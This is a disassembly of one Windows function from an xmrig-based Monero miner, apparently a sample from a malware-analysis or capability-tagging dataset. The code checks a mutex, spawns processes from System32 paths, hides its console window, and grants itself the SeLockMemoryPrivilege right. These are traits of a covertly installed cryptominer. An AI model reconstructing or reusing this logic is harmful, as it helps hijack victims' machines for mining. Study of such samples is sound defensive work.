Function at 0x1400e9e50
Capabilities:
Check mutex on windows
Create process on windows
Manipulate user privileges
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4a8]
sub rsp, 0x580
mov qword [rbp], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14014a1f8]
xor rax, rsp
mov qword [rbp + 0x470], rax
mov r12, rdx
mov qword [rsp + 0x60], rdx
mov r15d, ecx
mov dword [rsp + 0x58], ecx
lea r8, str.sfdkjjhgkdsfhgjksd
mov r14d, 1
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateMutexW]
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x1400e9efa
call fcn.1400b2ae0
mov r8d, eax
mov eax, 0x68db8bad
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2710
sub r8d, ecx
imul ecx, r8d, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor eax, eax
jmp 0x1400ea895
xor ecx, ecx
call fcn.1400b40f8
mov rcx, rax
call fcn.1400b2b0c
lea rdx, [0x14012c08c]
mov rcx, qword [r12]
call fcn.1400b3714
mov rdi, rax
mov r13d, 2
mov r8d, r13d
xor edx, edx
mov rcx, rax
call fcn.1400b3d88
mov rcx, rdi
call fcn.1400b357c
movsxd rbx, eax
mov dword [rsp + 0x50], ebx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.1400b3d88
mov rcx, rbx
call fcn.1400ad9b4
mov rsi, rax
mov qword [rsp + 0x78], rax
mov r9, rdi
mov r8, rbx
mov rdx, r14
mov rcx, rax
call fcn.1400b43c8
mov rcx, rdi
call fcn.1400b3b14
mov ecx, dword [rbx + rsi - 8]
mov edx, dword [rbx + rsi - 4]
mov dword [rsp + 0x70], edx
dec ecx
mov dword [rsp + 0x74], ecx
xor ebx, ebx
mov esi, ebx
test edx, edx
jle 0x1400ea0ee
mov r15d, 0xfd
mov r13, qword [rsp + 0x78]
mov r12d, dword [rsp + 0x50]
test ecx, ecx
js 0x1400ea0de
mov edx, 8
lea rcx, str.C:WindowsSystem32_
call fcn.1400ea8d0
mov rdi, rax
lea rdx, [0x14012c0ac]
mov rcx, rax
call fcn.1400b3714
mov rbx, rax
lea ecx, [r12 - 0x100]
movsxd r8, ecx
sub r8, 8
mov r9, rax
mov rdx, r14
mov rcx, r13
call fcn.1400b3fe0
movsxd rdx, r15d
lea rcx, [0x14012b44f]
call fcn.1400ea8d0
mov rcx, rax
mov rdx, rbx
call fcn.1400adfac
mov r9, rbx
mov r8, r14
mov edx, 4
lea rcx, [rsp + 0x74]
call fcn.1400b3fe0
mov r9, rbx
mov r8, r14
mov edx, 4
lea rcx, [rsp + 0x70]
call fcn.1400b3fe0
mov rcx, rbx
call fcn.1400b3b14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
movups xmmword [rbp + 0x64], xmm0
mov dword [rbp + 0x74], eax
mov dword [rbp + 0x10], 0x68
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdi + r8], al
jne 0x1400ea070
inc r8
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.1400b3a54
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
inc esi
add r15d, 0xfd
cmp esi, dword [rsp + 0x70]
jge 0x1400ea0de
mov ecx, dword [rsp + 0x74]
jmp 0x1400e9fa2
mov r12, qword [rsp + 0x60]
mov r13d, 2
mov r15d, dword [rsp + 0x58]
lea rax, [rbp - 0x58]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x58], r12
mov dword [rbp - 0x50], r15d
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rbx
movsxd rdi, r15d
test r15d, r15d
je 0x1400ea128
mov rdx, qword [r12 + rbx*8]
lea rcx, [rbp - 0x58]
call fcn.1400e1a60
inc rbx
cmp rbx, rdi
jb 0x1400ea113
call fcn.14008a674
mov rcx, rax
movabs rax, 0x346dc5d63886594b
imul rcx
sar rdx, 0xb
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
lea rax, [rbp - 0x58]
xor ecx, eax
call fcn.1400b2b0c
nop
lea rcx, [rbp - 0x58]
call fcn.1400da130
test eax, eax
je 0x1400ea3b1
sub eax, 1
je 0x1400ea39a
sub eax, 1
je 0x1400ea340
cmp eax, 1
jne 0x1400ea3a9
mov ecx, 0x208
call fcn.14008c6bc
mov rbx, rax
test rax, rax
je 0x1400ea1aa
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call fcn.1400aaf50
xor r14d, r14d
jmp 0x1400ea1b0
xor r14d, r14d
mov ebx, r14d
test rbx, rbx
je 0x1400ea252
mov ecx, 0x410
call qword [fcn.1400ad9b4]
mov rdi, rax
test rax, rax
jne 0x1400ea1d6
mov ecx, 0xfffff027
jmp 0x1400ea257
mov r8d, 0x208
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
jle 0x1400ea225
cdqe
mov word [rdi + rax*2], r14w
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x208
mov qword [rsp + 0x20], rbx
mov r9d, 0xffffffff
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov esi, eax
test eax, eax
jne 0x1400ea240
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
mov rcx, rdi
call fcn.140067840
mov ecx, esi
call fcn.14006ef30
mov ecx, eax
jmp 0x1400ea257
mov rcx, rdi
call fcn.140067840
mov ecx, r14d
lea eax, [rsi - 1]
cdqe
jmp 0x1400ea25c
mov ecx, 0xfffff019
mov eax, 0x208
test ecx, ecx
cmovs rax, r14
mov rcx, rbx
test rax, rax
jne 0x1400ea274
call fcn.14008c1d0
mov rbx, r14
jmp 0x1400ea2e0
mov edx, 0x5c
call fcn.1400aa3f0
mov rdx, rax
test rax, rax
jne 0x1400ea293
mov rcx, rbx
call fcn.14008c1d0
mov rbx, r14
jmp 0x1400ea2e0
sub rdx, rbx
lea rax, [rdx + 0xe]
cmp rax, 0x208
jb 0x1400ea2af
mov rcx, rbx
call fcn.14008c1d0
mov rbx, r14
jmp 0x1400ea2e0
mov byte [rdx + rbx], 0x5c
lea rcx, str.topology.xml
sub rdx, rcx
lea r8, [rdx + rbx]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [r8 + rcx + 1], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400ea2d0
lea rcx, [rsp + 0x58]
call fcn.1400749e0
mov rcx, qword [rsp + 0x58]
call fcn.1400749f0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x58]
call fcn.14007b510
cmp eax, 0xffffffff
jne 0x1400ea317
lea rcx, str.failed_to_export_hwloc_topology._n
call fcn.140005bf0
jmp 0x1400ea326
mov rdx, rbx
lea rcx, str.hwloc_topology_successfully_exported_to___s__n
call fcn.140005bf0
mov rcx, qword [rsp + 0x58]
call fcn.1400748a0
mov rcx, rbx
call fcn.14008c1d0
mov r13d, r14d
jmp 0x1400ea889
lea rcx, str.__n_built_on_Aug_24_2019_with_MSVC
call fcn.140005bf0
mov edx, 0x7e3
lea rcx, [0x14012b58c]
call fcn.140005bf0
lea rcx, str._n_features:_64_bit_AES_n
call fcn.140005bf0
lea rdx, str.1.31.0
lea rcx, str._nlibuv__s_n
call fcn.140005bf0
lea rdx, str.2.0.4
lea rcx, str.hwloc__s_n
call fcn.140005bf0
xor r14d, r14d
mov r13d, r14d
jmp 0x1400ea889
lea rcx, [0x14012b61c]
call fcn.140005bf0
xor r14d, r14d
mov r13d, r14d
jmp 0x1400ea889
lea rax, vtable.xmrig::App.1.0
mov qword [rbp - 0x80], rax
lea rax, vtable.xmrig::App.0
mov qword [rbp - 0x78], rax
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
lea ecx, [r12 + 0x20]
call fcn.14008c194
mov rbx, rax
mov qword [rsp + 0x60], rax
lea rax, vtable.xmrig::Base.0
mov qword [rbx], rax
lea ecx, [r12 + 0x30]
call fcn.14008c194
mov qword [rsp + 0x60], rax
mov qword [rax], r12
mov qword [rax + 8], r12
lea rcx, [rbp - 0x58]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r12
mov qword [rax + 0x28], r12
mov qword [rbx + 8], rax
lea rax, vtable.xmrig::Controller.0
mov qword [rbx], rax
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
mov qword [rbp - 0x68], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x18]
lea rdi, [0x1401509c0]
mov rdx, qword [rbp - 0x68]
test eax, eax
jne 0x1400ea4f0
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
cmp byte [rcx + 9], r12b
jne 0x1400ea4f0
lea ecx, [r12 + 0x18]
call fcn.14008c194
mov rbx, rax
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x80]
mov qword [rbx + 8], rax
mov ecx, 0x158
call fcn.14008c194
mov qword [rbx + 0x10], rax
mov qword [rax], rbx
mov rcx, qword [0x140150990]
test rcx, rcx
jne 0x1400ea4af
call fcn.14006b480
test eax, eax
je 0x1400ea4a5
mov ecx, r12d
jmp 0x1400ea4af
mov qword [0x140150990], rdi
mov rcx, rdi
xor r8d, r8d
mov rdx, qword [rbx + 0x10]
call fcn.1400634f0
mov rcx, qword [rbx + 0x10]
test dword [rcx + 0x58], 0x4000
je 0x1400ea4e8
mov edx, r14d
call fcn.1400638c0
lea r8, [0x1400d5ae0]
lea rdx, [0x1400d5b20]
mov rcx, qword [rbx + 0x10]
call fcn.140067520
nop
mov qword [rbp - 0x70], rbx
mov rdx, qword [rbp - 0x68]
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + select]
test al, al
je 0x1400ea80c
mov ecx, 0x20
call fcn.14008c194
mov r15, rax
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x78]
mov qword [r15], rax
lea rsi, [r15 + 8]
mov rdi, r12
lea r13, [0x1401509c0]
lea r14, [0x14012c000]
nop
mov ecx, 0x108
call fcn.14008c194
mov rbx, rax
mov qword [rax], r15
mov qword [rsi], rax
mov rdx, qword [0x140150990]
test rdx, rdx
jne 0x1400ea567
call fcn.14006b480
test eax, eax
je 0x1400ea55d
mov rdx, r12
jmp 0x1400ea567
mov qword [0x140150990], r13
mov rdx, r13
mov qword [rbx + 8], rdx
mov dword [rbx + select], 0x10
mov dword [rbx + 0x58], 8
lea rcx, [rbx + 0x20]
lea rax, [rdx + 0x10]
mov qword [rcx], rax
mov rax, qword [rdx + 0x18]
mov qword [rbx + 0x28], rax
mov qword [rax], rcx
mov qword [rdx + 0x18], rcx
mov dword [rbx + 0x30], 0xffffffff
mov dword [rbx + 0x100], r12d
mov dword [rbx + 0x68], r12d
mov qword [rbx + 0x60], r12
mov dword [rbx + 0x98], select
mov qword [rbx + 0xd0], r12
mov qword [rbx + 0x90], rbx
mov r8d, dword [rdi + r14]
mov rcx, rbx
call fcn.140068810
add rdi, 4
add rsi, 8
cmp rdi, 0xc
jb 0x1400ea530
mov qword [rbp - 0x60], r15
mov rax, qword [rbp - 0x68]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 9], 0
mov r14d, 1
lea r13d, [r14 + 1]
je 0x1400ea631
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
test rax, rax
je 0x1400ea617
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
jmp 0x1400ea631
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
call qword [sym.imp.KERNEL32.DLL_FreeConsole]
mov rax, qword [rbp - 0x68]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 0xa1], 0
je 0x1400ea785
mov dword [0x14014f334], r13d
call fcn.1400eb550
test eax, eax
jne 0x1400ea77e
mov rbx, r12
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp eax, r14d
jne 0x1400ea785
mov dword [rsp + 0x50], r12d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r9d, dword [rsp + 0x50]
test r9d, r9d
je 0x1400ea6c6
mov edx, r9d
mov ecx, 0x40
call qword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov rbx, rax
mov r9d, dword [rsp + 0x50]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov edx, r14d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test rbx, rbx
je 0x1400ea785
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov edi, r12d
lea r9, [rsp + 0x78]
mov r8d, 0xf0fff
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
test eax, eax
jne 0x1400ea768
lea rax, str.SeLockMemoryPrivilege
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x60], 0x2c002a
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
mov r9d, r14d
lea r8, [rsp + 0x60]
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_LsaAddAccountRights]
test eax, eax
cmove edi, r14d
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_LsaClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_LocalFree]
test edi, edi
je 0x1400ea785
call fcn.1400eb550
test eax, eax
je 0x1400ea785
or dword [0x14014f334], r14d
mov rax, qword [rbp - 0x68]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 0xa], 0
je 0x1400ea79c
mov r13d, r12d
jmp 0x1400ea80c
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, qword [0x140150990]
test rcx, rcx
je 0x1400ea7bb
lea rdi, [0x1401509c0]
jmp 0x1400ea7da
call fcn.14006b480
lea rdi, [0x1401509c0]
test eax, eax
je 0x1400ea7d0
mov rcx, r12
jmp 0x1400ea7da
mov qword [0x140150990], rdi
mov rcx, rdi
call fcn.14006bc40
mov r13d, eax
mov rcx, qword [0x140150990]
test rcx, rcx
jne 0x1400ea806
call fcn.14006b480
test eax, eax
je 0x1400ea7fc
mov rcx, r12
jmp 0x1400ea806
mov qword [0x140150990], rdi
mov rcx, rdi
call fcn.140067a50
nop
lea rax, vtable.xmrig::App.1.0
mov qword [rbp - 0x80], rax
lea rax, vtable.xmrig::App.0
mov qword [rbp - 0x78], rax
mov rbx, qword [rbp - 0x60]
test rbx, rbx
je 0x1400ea841
mov rcx, rbx
call fcn.1400da9c0
nop
mov edx, 0x20
mov rcx, rbx
call fcn.14008c1d0
mov rbx, qword [rbp - 0x70]
test rbx, rbx
je 0x1400ea876
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400ea865
test byte [rcx + 0x58], 3
jne 0x1400ea865
lea rdx, [0x140001340]
call fcn.140062fd0
mov qword [rbx + 0x10], r12
mov edx, 0x18
mov rcx, rbx
call fcn.14008c1d0
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x1400ea889
mov r8, qword [rcx]
mov edx, r14d
call qword [r8]
nop
lea rcx, [rbp - 0x48]
call fcn.140005ca0
mov eax, r13d
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.14008c170
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret